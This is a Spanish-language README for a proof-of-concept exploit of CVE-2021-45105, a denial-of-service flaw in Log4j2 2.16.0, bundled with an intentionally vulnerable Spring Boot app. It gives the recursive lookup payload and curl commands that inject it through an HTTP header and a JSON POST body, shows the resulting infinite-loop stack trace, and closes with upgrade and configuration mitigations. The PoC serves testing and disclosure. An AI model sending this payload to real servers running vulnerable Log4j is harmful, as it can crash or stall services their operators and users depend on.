
Exploit PoC para CVE-2021-45105 (DoS de Log4j2) con aplicación web Spring Boot, que demuestra un bucle infinito mediante payloads manipulados en la cabecera/cuerpo HTTP.
${${::-${::-$${::-$}}}}
Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105
Utiliza Log4j 2.16.0

Ejecútala:
Importa el proyecto en un IDE de Java como un proyecto Maven
Ejecuta CVEMainApplication.java como una aplicación Spring Boot.
Para GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Para solicitud POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR Se produjo una excepción al procesar Appender Console java.lang.IllegalStateException: Bucle infinito en la interpolación de propiedades de ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Los usuarios de Java 8 (o posterior) deberían actualizar a la versión 2.17.0.
Alternativamente, esto se puede mitigar en la configuración:
En PatternLayout dentro de la configuración de logging, reemplaza las Context Lookups como ${ctx:loginId} o $${ctx:loginId} con patrones del Thread Context Map (%X, %mdc o %MDC). De lo contrario, en la configuración, elimina las referencias a Context Lookups como ${ctx:loginId} o $${ctx:loginId} cuando se originen de fuentes externas a la aplicación como cabeceras HTTP o entrada del usuario.